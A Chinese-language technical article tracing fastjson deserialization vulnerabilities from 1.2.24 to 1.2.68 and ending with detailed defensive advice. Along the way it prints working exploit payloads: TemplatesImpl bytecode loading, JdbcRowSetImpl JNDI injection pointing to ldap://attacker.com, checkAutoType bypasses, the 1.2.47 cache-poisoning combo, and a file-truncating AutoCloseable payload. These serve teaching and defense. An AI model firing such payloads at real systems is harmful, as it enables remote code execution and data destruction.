1. 项目概述为什么我们要深挖fastjson的调用链如果你是一名Java开发者或者从事应用安全、渗透测试工作那么“fastjson反序列化漏洞”这个词对你来说一定不陌生。它几乎成了Java生态里一个“经久不衰”的话题每隔一段时间就有新的绕过方式或利用链被挖掘出来。我处理过不少因为fastjson漏洞导致的线上安全事件从应急响应到代码修复整个过程就像一场与攻击者斗智斗勇的猫鼠游戏。很多人可能只是知道“fastjson有漏洞要升级版本”但漏洞究竟是怎么发生的攻击者是如何通过一段看似无害的JSON字符串最终在服务器上执行任意命令的这背后的“调用链”逻辑才是理解整个漏洞攻防的核心。简单来说fastjson反序列化漏洞的本质是攻击者通过精心构造的JSON数据利用fastjson在将JSON字符串还原成Java对象反序列化过程中的某些特性或缺陷触发一系列Java类方法的连锁调用最终达到执行系统命令、发起网络请求等恶意目的。这个过程就像推倒一连串多米诺骨牌第一张牌是攻击者可控的JSON输入最后一张牌可能就是Runtime.getRuntime().exec(“rm -rf /”)。而“调用链分析”就是要把中间每一张牌是什么、它们是如何被依次推倒的都清晰地画出来。理解调用链不仅仅是安全研究员的专利。对于开发人员它能帮你写出更安全的代码明白哪些类、哪些属性是危险的对于架构师它能让你在技术选型时对潜在风险心中有数对于运维和安全工程师它是你分析日志、判断攻击是否成功、以及如何进行有效防护和检测的理论基础。接下来我会以一个“挖洞”和“修洞”的亲历者视角带你从最经典的1.2.24版本开始一步步拆解fastjson反序列化漏洞的演进史还原那些关键调用链的构造逻辑与绕过手法。2. 漏洞基石fastjson 1.2.24 的两条“始祖”利用链在2017年3月之前fastjson在默认配置下几乎是不设防的。autoType特性允许通过type指定任意类进行反序列化默认开启且没有任何黑白名单机制。这为攻击者打开了潘多拉魔盒。在这个版本中有两条利用链被广泛使用它们奠定了后续所有fastjson漏洞研究的基础模式。2.1 TemplatesImpl链利用字节码加载执行命令这条链的终点是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。这个类本身是用于处理XSLT转换的但它内部有一个非常危险的机制可以加载并实例化用户提供的字节码。调用链的核心推演过程如下入口点攻击者在JSON中通过type指定目标类为TemplatesImpl。属性赋值fastjson会尝试为TemplatesImpl对象的属性赋值。这里有几个关键私有属性需要被注入_bytecodes这是一个byte[][]类型用于存放恶意类的字节码。_name一个String不能为null。_tfactory一个TransformerFactoryImpl对象可以设置为空对象{}。_outputProperties这是一个Properties类型它的getter方法getOutputProperties()是整条链的“扳机”。触发getterfastjson在反序列化过程中会调用符合条件的getter方法。当它为_outputProperties属性寻找值时即使JSON中该属性值为空{}也会去调用其getter——getOutputProperties()。链式调用getOutputProperties()-newTransformer()-getTransletInstance()。在getTransletInstance()方法中如果_class已加载的Class对象数组为空它会调用defineTransletClasses()。defineTransletClasses()方法会使用自定义的ClassLoader去加载_bytecodes中的字节码。加载的类必须继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet否则会抛出异常。加载成功后通过newInstance()实例化这个恶意类。恶意类的静态代码块或构造函数中的代码将在此时被执行。实操要点与避坑指南字节码生成你需要提前准备好恶意类的字节码。通常会用javac编译一个继承AbstractTranslet的类该类在静态代码块中编写恶意逻辑如执行命令。然后使用Base64或类似工具将编译后的.class文件转为字节数组字符串。私有属性赋值_bytecodes、_name、_tfactory都是私有属性且没有公共的setter方法。在1.2.24版本你需要为JSON.parseObject()或JSON.parse()方法开启Feature.SupportNonPublicField特性才能为这些私有字段赋值。一个完整的Payload示例结构{ type: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, _bytecodes: [yv66vgAAADQA...Base64编码的恶意类字节码], _name: anything, _tfactory: {}, _outputProperties: {} }注意这里_outputProperties设置为{}其目的不是为了赋值而是为了触发其getter方法。这是fastjson反序列化一个非常关键的特性它会尝试调用所有属性的getter和setter。这条链的优点是无需依赖外部网络服务如JNDI完全在本地完成攻击。缺点是Payload较长因为包含Base64编码的字节码且需要目标环境中存在TemplatesImpl及其相关依赖通常存在于JDK中。2.2 JdbcRowSetImpl链利用JNDI注入实现远程加载这条链更为直接和经典利用了Java的JNDIJava Naming and Directory Interface注入漏洞。其终点类是com.sun.rowset.JdbcRowSetImpl。调用链的触发逻辑入口点同样通过type指定JdbcRowSetImpl。属性赋值攻击者控制两个关键属性dataSourceName设置为一个恶意的JNDI地址如ldap://attacker.com:1389/Exploit。autoCommit设置为true。触发setter当fastjson为autoCommit属性调用setAutoCommit(true)方法时漏洞被触发。链式调用在setAutoCommit()方法内部会调用this.connect()。connect()方法中会执行InitialContext.lookup(this.getDataSourceName())。getDataSourceName()返回的就是我们控制的dataSourceName属性值。此时Java应用会向攻击者控制的LDAP服务器发起请求。攻击者可以在LDAP服务器中返回一个恶意的Reference对象指向一个远程的Java类文件如http://attacker.com/Exploit.class。目标应用的JNDI服务会去加载并实例化这个远程类导致远程代码执行。Payload示例{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://192.168.1.100:1389/恶意类, autoCommit: true }这条链的实战思考这条链的利用条件相对宽松Payload简洁。但它严重依赖于一个外部条件目标Java版本。在Java 8u191、7u201、6u211及之后版本Oracle官方默认禁用了JNDI远程类加载通过com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase等属性控制。这意味着在高版本JDK上即使成功触发JNDI查询也无法加载远程的恶意类攻击会失败。但在大量遗留系统或特定配置环境中它依然极具威胁。3. 攻防升级从黑名单绕过到“安全模式”的博弈fastjson在1.2.24版本爆出严重漏洞后作者在1.2.25版本引入了核心防御机制checkAutoType函数和黑白名单。自此fastjson的漏洞史很大程度上变成了“绕过checkAutoType”的历史。3.1 1.2.25-1.2.41黑名单与描述符绕过的开端1.2.25版本默认关闭了autoTypeSupport并引入了一个明文黑名单denyList。如果未开启autoType反序列化时会先检查黑名单命中则直接抛异常。最初的绕过手法1.2.25-1.2.41 安全研究人员很快发现checkAutoType在加载类名时会调用TypeUtils.loadClass()。这个函数有一个“特性”它会处理类名的描述符形式。例如Ljava.lang.Class;会被处理成java.lang.Class。而黑名单检查发生在描述符处理之前。攻击者的思路用L开头、;结尾的形式包裹黑名单中的类名。例如黑名单里有com.sun.rowset.JdbcRowSetImpl攻击者就传入Lcom.sun.rowset.JdbcRowSetImpl;。checkAutoType检查时发现Lcom.sun...不在黑名单中于是放行。到了loadClass时描述符被正常剥离最终成功加载了黑名单里的类。Payload演变{ type: Lcom.sun.rowset.JdbcRowSetImpl;, dataSourceName: ldap://..., autoCommit: true }3.2 1.2.42-1.2.44补丁与双写、数组绕过fastjson在1.2.42版本将明文黑名单改为了哈希黑名单可能是为了增加分析难度并修复了上述描述符绕过在checkAutoType中如果类名以L开头、以;结尾会先用substring去掉首尾字符再检查。绕过手法1.2.42双写描述符。既然你只去掉一层L和;那我就写两层。LLcom.sun.rowset.JdbcRowSetImpl;;你去掉一层后变成Lcom.sun.rowset.JdbcRowSetImpl;仍然能通过最初的黑名单检查并在后续的loadClass中被正确处理。Payload{ type: LLcom.sun.rowset.JdbcRowSetImpl;;, ... }再次修复与绕过1.2.43-1.2.44 1.2.43版本检测到连续两个L开头会报错封堵了双写。但研究人员又找到了新的路径数组描述符。在Java中[表示数组类型。[com.sun.rowset.JdbcRowSetImpl表示一个JdbcRowSetImpl数组。loadClass方法同样会递归处理[。Payload{ type: [com.sun.rowset.JdbcRowSetImpl[ { dataSourceName: ldap://..., autoCommit: true } }注意这里语法有点特殊数组类型后直接跟了数组内容[{...}]1.2.44版本迅速修复直接禁止了以[开头的类名。3.3 1.2.47无需开启AutoType的通杀漏洞这是fastjson历史上影响最广泛的漏洞之一。其巧妙之处在于它不需要开启autoTypeSupport而是利用了fastjson自身的缓存机制。漏洞原理深度解析 关键在于checkAutoType函数中的一段逻辑// 尝试在 TypeUtils.mappings 中查找缓存的 class if (clazz null) { clazz TypeUtils.getClassFromMapping(typeName); } // 尝试在 deserializers 中查找这个类 if (clazz null) { clazz deserializers.findClass(typeName); } // 如果找到了对应的 class则会进行 return跳过后面的黑名单检查 if (clazz ! null) { ... // 直接返回不再进行后续的autoTypeSupport判断和黑名单检查 }如果能在TypeUtils.mappings这个缓存ConcurrentHashMap里提前放入恶意类那么后续的反序列化就会直接使用缓存绕过所有安全检查。那么如何提前放入缓存研究人员发现了一个绝佳的入口java.lang.Class类。Class类被默认放在deserializers中因此它可以通过checkAutoType。在对Class类进行反序列化时fastjson会调用MiscCodec这个解析器。它会解析JSON中val键的值并将其作为类名调用TypeUtils.loadClass(className, defaultClassLoader, true)进行加载。注意第三个参数是true意味着加载后会被缓存到TypeUtils.mappings中。两步走的攻击流程第一步污染缓存。发送一个JSON反序列化一个Class类其val值为恶意类名如com.sun.rowset.JdbcRowSetImpl。这个操作会成功并将恶意类名加入缓存。第二步触发利用。再发送一个JSON直接使用type指定那个恶意类。此时checkAutoType在mappings中找到了缓存直接返回绕过黑名单检查成功触发反序列化漏洞。组合Payload示例{ a: { // 第一步污染缓存 type: java.lang.Class, val: com.sun.rowset.JdbcRowSetImpl }, b: { // 第二步触发漏洞 type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://127.0.0.1:1389/Exploit, autoCommit: true } }这个漏洞的可怕之处在于即使用户按照安全建议关闭了autoType依然会中招。它在1.2.48版本被修复修复方式是在MiscCodec处理Class类时将loadClass的cache参数改为false避免缓存。3.4 1.2.68及以后ExpectClass绕过与SafeMode在1.2.48修复缓存绕过后战场转移到利用expectClass参数。checkAutoType有一个重载方法接收一个expectClass参数。如果传入的类名是expectClass的子类或实现且不在黑名单就能通过检查。利用点Throwable和AutoCloseable。 fastjson内置了一些类的反序列化器。例如在解析Throwable子类时会调用ThrowableDeserializer它内部调用checkAutoType(typeName, Throwable.class)。这意味着任何Throwable的子类只要不在黑名单就能被反序列化。攻击思路寻找Throwable或AutoCloseable的子类并且这个子类的某个getter/setter或构造函数中存在危险操作。例如利用某些类的getter方法去触发JNDI查询或文件操作。Payload示例利用AutoCloseable和FileOutputStream清空文件{ type: java.lang.AutoCloseable, type: java.io.FileOutputStream, file: /tmp/important_file, append: false }这个Payload会创建一个FileOutputStream由于append为false它会清空指定文件的内容。终极防御SafeMode面对层出不穷的绕过fastjson在1.2.68引入了“安全模式”SafeMode。开启后checkAutoType会对所有非白名单的类直接抛出异常彻底禁止autoType功能。ParserConfig.getGlobalInstance().setSafeMode(true);对于开发者而言在无法升级到绝对安全版本的情况下开启SafeMode是最简单有效的缓解措施。但请注意这可能会影响某些需要反序列化复杂类型的功能。4. 漏洞挖掘实战如何分析与构造一条新的调用链看完了历史漏洞你可能会想这些链是怎么被找出来的我们自己能否挖掘新的利用链这里我分享一下我的思路和常用工具。4.1 挖掘思路从“危险方法”到“可达路径”核心思想是回溯。我们不是漫无目的地找而是从已知的“危险终点”Sink出发反向寻找可以被fastjson触发的“起点”Source。确定危险终点Sink哪些方法执行后会造成严重危害Runtime.exec()命令执行。Method.invoke()反射调用任意方法。Class.newInstance()/Constructor.newInstance()实例化任意类。JNDI.lookup()JNDI注入。FileOutputStream/FileWriter文件读写。URL.openConnection()网络请求SSRF。寻找连接桥梁Gadget Chain我们需要找到一些类它们的某些方法通常是getter/setter能够调用到这些危险方法同时它们自身的属性又可以通过fastjson反序列化来设置。这些类就是“桥接点”。例如TemplatesImpl.getOutputProperties()-newTransformer()- ... -defineTransletClasses()-ClassLoader.defineClass()-恶意类.init()/static{}。JdbcRowSetImpl.setAutoCommit()-connect()-lookup()。关注fastjson反序列化特性Setter/Getter调用fastjson会调用符合条件的setXXX和getXXX方法。构造函数调用如果类有无参构造函数或特定构造函数可能会被调用。特定字段类型处理比如byte[]字段会被自动Base64解码这有时可以用来传递字节码。type指定任意类这是攻击的发起点。4.2 常用工具与分析方法静态分析工具IDEA FindBugs/SpotBugs可以扫描代码中潜在的危险方法调用。CodeQL这是更强大的代码语义分析工具。你可以编写QL查询来寻找“从某个类的setter/getter到危险方法”的可达路径。例如寻找所有getOutputProperties这样命名的方法看它们最终调用了什么。JD-GUI/CFR/Fernflower用于反编译没有源码的Jar包分析第三方库中的类。动态调试IDEA Remote Debug这是最重要的手段。在测试环境中启动一个使用了fastjson的Web应用附加调试器。构造Payload并发送通过Burp Suite或Postman发送精心构造的JSON。在关键位置打断点com.alibaba.fastjson.parser.ParserConfig.checkAutoType()观察类名检查逻辑。com.alibaba.fastjson.util.JavaBeanInfo.build()观察fastjson如何解析类的getter/setter。com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze()观察反序列化过程如何为属性赋值和调用方法。在你怀疑的“桥接点”类的setter/getter方法处打上断点。单步跟踪当断点命中时单步跟进Step Into观察调用栈理解参数是如何传递的最终是否到达了危险方法。一个简单的分析案例 假设我们发现一个类EvilBean它有一个setDataSource方法里面调用了InitialContext.lookup(this.dataSourceName)。那么我们就有了一个潜在的JNDI注入点。检查这个类是否在fastjson的黑名单里。如果没有构造Payload{type:com.example.EvilBean,dataSource:ldap://attacker/exp}。调试观察setDataSource是否被调用参数是否为我们控制的值。如果成功一条新的利用链就诞生了。4.3 实战中的注意事项与技巧依赖问题你找到的利用链类必须存在于目标应用的Classpath中。例如org.apache.tomcat.dbcp.dbcp2.BasicDataSource只在使用Tomcat DBCP连接池的应用中才存在。因此收集Payload时需要标注其依赖库。JDK版本限制如前所述JNDI利用链受JDK版本限制。在测试和实战中这是必须考虑的因素。不出网利用在目标服务器不能访问外网的情况下JNDI、URLClassLoader加载远程类等需要网络交互的链会失效。此时应优先考虑TemplatesImpl这类本地字节码加载的链或者文件写入、本地代码执行等链。内存马注入这是近年来更高级的利用方式。攻击者不再满足于执行一次性命令而是通过反序列化漏洞向Java Web容器如Tomcat中注入一个内存级的后门内存马如Filter型、Servlet型、Controller型内存马。这需要更深入地理解Java Web容器的机制和fastjson漏洞的结合点。5. 防御之道开发者与运维的应对策略了解了攻击才能更好地防御。对于使用fastjson的项目以下是我在实践中总结的、分层递进的防御建议。5.1 代码层最佳实践与安全编码升级升级再升级这是最根本、最有效的措施。务必使用fastjson 1.2.83及以上版本。这些版本修复了已知的绝大多数高危漏洞并且安全机制更为完善。在pom.xml或build.gradle中显式指定fastjson版本避免依赖传递引入低版本。dependency groupIdcom.alibaba/groupId artifactIdfastjson/artifactId version1.2.83/version !-- 使用当前最新的安全版本 -- /dependency开启SafeMode安全模式如果业务确实不需要反序列化任意类型即不需要type功能强烈建议开启SafeMode。这是最强的防护从根本上杜绝了autoType相关的所有漏洞。ParserConfig.getGlobalInstance().setSafeMode(true); // 或者在使用时指定 JSON.parseObject(jsonString, Object.class, Feature.SafeMode);使用白名单而非黑名单如果业务必须使用type功能绝对不要依赖fastjson内置的黑名单。必须显式配置白名单。白名单应该只包含你业务中明确需要反序列化的类。粒度尽可能细。ParserConfig config new ParserConfig(); config.addAccept(com.yourcompany.yourapp.model.); config.addAccept(com.yourcompany.yourapp.dto.User); // 然后使用这个config进行解析 JSON.parseObject(jsonString, Object.class, config);避免反序列化不可信数据永远不要使用JSON.parse()或JSON.parseObject()去解析来自用户输入、外部接口、网络请求等不可信来源的JSON字符串除非你开启了SafeMode或配置了严格的白名单。对于已知类型的反序列化使用带具体Class参数的方法JSON.parseObject(text, User.class)。这样fastjson不会去解析type。代码审计要点在代码审计中全局搜索JSON.parse、JSON.parseObject、JSON.parseArray。检查其参数是否用户可控。检查是否配置了ParserConfig是否开启了SafeMode或设置了白名单。检查是否使用了Feature.SupportNonPublicField等危险特性。5.2 运维与架构层纵深防御WAF/IPS规则在网关或WAF层面部署规则检测请求体中的fastjson常见攻击Payload特征如type、JdbcRowSetImpl、TemplatesImpl、ldap://、rmi://等关键词。但要注意绕过和加密传输的情况。RASP运行时应用自我保护在应用内部部署RASP探针。它可以监控Java核心类如ClassLoader.defineClass、Runtime.exec、Method.invoke的调用栈。当发现调用来源于fastjson.deserialze等路径时可以进行实时拦截和告警。RASP能有效防御未知的0day利用链。依赖成分分析SCA在CI/CD流程中引入SCA工具持续扫描项目依赖及时发现并告警项目中引入了存在已知漏洞的fastjson版本。网络层限制对于服务器严格限制出网流量。即使攻击者利用了JNDI等需要外连的链也会因为无法连接外部恶意服务器而失败。同时监控服务器异常的DNS查询或对外网络连接。JDK升级与配置保持JDK为最新版本。对于高版本JDK默认已降低JNDI注入的风险。但仍需检查相关安全属性是否被错误修改。5.3 应急响应如果漏洞发生了怎么办假设你收到告警或发现疑似fastjson攻击的日志应该立即按以下步骤处理隔离与止损立即隔离受影响服务器如从负载均衡池中摘除防止攻击扩大。分析日志迅速查看应用日志、网络访问日志。搜索异常的type类名、JNDI地址、或来自可疑IP的请求。fastjson在抛出异常时通常会有“autoType is not support”等字样但成功的攻击可能没有错误日志。确定影响范围评估哪些业务、哪些接口使用了fastjson反序列化数据来源是否可控。临时加固最快方案如果可能在应用启动参数或代码中立即加入-Dfastjson.parser.safeModetrue或调用setSafeMode(true)。次选方案若不能重启考虑在网关层紧急添加拦截规则。根因修复升级fastjson到安全版本。全面审查代码为所有JSON.parseObject调用添加白名单或替换为安全的JSON库如Jackson、Gson。事后复盘排查攻击者是否已植入后门检查是否有异常进程、计划任务、Webshell文件等并修复导致漏洞的流程缺陷。6. 总结与思考fastjson漏洞带来的启示回顾fastjson反序列化漏洞的整个历程它不仅仅是一个JSON库的安全问题更是给所有软件开发者和安全人员上了一堂生动的安全课。首先安全是一个持续的过程而非一劳永逸的状态。fastjson的修复史就是典型的“补丁-绕过-再补丁”循环。这告诉我们依赖单一的黑名单机制是脆弱的因为攻击面可用的危险类是动态变化的。白名单和默认拒绝如SafeMode才是更安全的模型。其次复杂的功能特性往往是安全的敌人。fastjson强大的type和自动调用getter/setter特性在提供便利的同时也极大地增加了攻击面。在设计框架和库时需要在功能灵活性和安全性之间做出谨慎权衡并为危险功能提供明确的开关和严格的访问控制。对于开发者而言最重要的安全原则就是“最小化”和“不信任”。最小化依赖如果不是必须就不要引入fastjson。考虑使用更简单、历史包袱更少的库。最小化权限如果必须用就开启SafeMode或使用最严格的白名单。最小化暴露不要将反序列化接口暴露给不可信的用户。不信任输入对所有外部输入进行严格的校验和过滤将其视为恶意的。最后fastjson漏洞的挖掘和分析过程是学习Java安全、理解Java反序列化机制的绝佳案例。它涉及了类加载、反射、JNDI、字节码等多个Java核心知识点。通过深入分析这些调用链你不仅能学会如何防御fastjson更能举一反三提升对整个Java应用安全体系的理解和防御能力。安全之路道阻且长唯有保持敬畏持续学习才能筑牢防线。